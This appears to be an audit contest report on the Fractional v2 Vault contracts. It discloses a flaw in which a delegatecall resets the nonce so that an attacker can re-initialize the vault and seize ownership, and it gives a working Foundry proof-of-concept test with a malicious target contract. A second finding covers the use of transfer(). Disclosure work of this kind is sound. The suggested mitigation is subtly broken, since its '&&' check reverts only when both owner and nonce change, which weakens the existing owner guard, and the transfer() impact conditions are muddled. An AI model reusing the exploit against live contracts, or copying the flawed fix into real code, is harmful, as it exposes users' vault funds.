Fractional v2 contest - tofunmi's results

Lines of code

https://github.com/code-423n4/2022-07-fractional/blob/e2c5a962a94106f9495eb96769d7f60f7d5b14c9/src/Vault.sol#L24 https://github.com/code-423n4/2022-07-fractional/blob/e2c5a962a94106f9495eb96769d7f60f7d5b14c9/src/Vault.sol#L115

Vulnerability details

Impact

The internal _execute function checks if the owner changed after the call, but doesn't check if the public nonce has changed. An attacker can change the nonce to zero after delegate call and call the init( ) function again and change the owner. As seen in the POC, the attacker takes over all the functions in the contract that require owner access, by just re-initializing, since it passes the init() external function check

Proof of Concept

Affected code

• src/Vault.sol#L24-29
• src/Vault.sol#L115-L139

Copy this test function into test/vault.t.sol

• Remember, the nonce controls access to the init() function and the Initialized() error.

    function testAttackNonceChanged() public {
        address attacker = address(0x12345);
        vaultProxy.init();
        TargetContract targetContract = new TargetContract();
        bytes32[] memory proof = new bytes32[](1);
        proof[0] = keccak256(
            abi.encode(
                alice.addr,
                address(targetContract),
                TargetContract.changeNonce.selector
            )
        );
        vaultProxy.setMerkleRoot(proof[0]);
        bytes memory data = abi.encodeWithSignature("changeNonce()");

        vaultProxy.execute(address(targetContract), data, proof);
        //now anyone can now become the owner
        vm.startPrank(attacker);
        vaultProxy.init();
        vm.stopPrank();
        assertEq(vaultProxy.owner(), attacker);
    }

• And change the contract TargetContract{} (the contract at the end of the vault.t.sol), in the same file to this

contract TargetContract {
    address public owner;

    bytes32 public merkleRoot;

    uint256 public nonce;

    function changeNonce() public {
        nonce = 0;
    }

    function changeOwner(address _owner) public {
        owner = _owner;
    }

    function transferOwnership() external {
        Vault(payable(address(this))).transferOwnership(address(1));
    }
}

• the attacker knows he has to make the storage slots the same
• then run

forge test --match-contract VaultTest --match-test testAttackNonceChanged -vvvv

Tools Used

• foundry, vim, vscode

Recommended Mitigation Steps

• Just as the owner was checked after the execute call, the nonce should be checked too, like so.
• store the nonce in memory and check if it has changed.

    function _execute(address _target, bytes calldata _data)
        internal
        returns (bool success, bytes memory response)
    {
        // Check that the target is a valid contract
        uint256 codeSize;
        assembly {
            codeSize := extcodesize(_target)
        }
        if (codeSize == 0) revert TargetInvalid(_target);
        // Save the owner address in memory to ensure that it cannot be modified during the DELEGATECALL
        address owner_ = owner;

        uint256 nonce_ = nonce;
        // Reserve some gas to ensure that the function has enough to finish the execution
        uint256 stipend = gasleft() - MIN_GAS_RESERVE;

        // Delegate call to the target contract
        (success, response) = _target.delegatecall{gas: stipend}(_data);
        if (owner_ != owner && nonce_ != nonce) revert OwnerChanged(owner_, owner);

        // Revert if execution was unsuccessful
        if (!success) {
            if (response.length == 0) revert ExecutionReverted();
            _revertedWithReason(response);
        }
    }

Lines of code

https://github.com/code-423n4/2022-07-fractional/blob/e2c5a962a94106f9495eb96769d7f60f7d5b14c9/src/modules/Migration.sol#L172 https://github.com/code-423n4/2022-07-fractional/blob/e2c5a962a94106f9495eb96769d7f60f7d5b14c9/src/modules/Migration.sol#L325

Vulnerability details

Impact

The use of the deprecated transfer() function for an address will inevitably make the transaction fail if

• the calling smart contract does not implement a payable function.
• The calling smart contract does implement a payable fallback function.

Recommended Mitigation Steps

Recommending using call{value: }("") instead of transfer().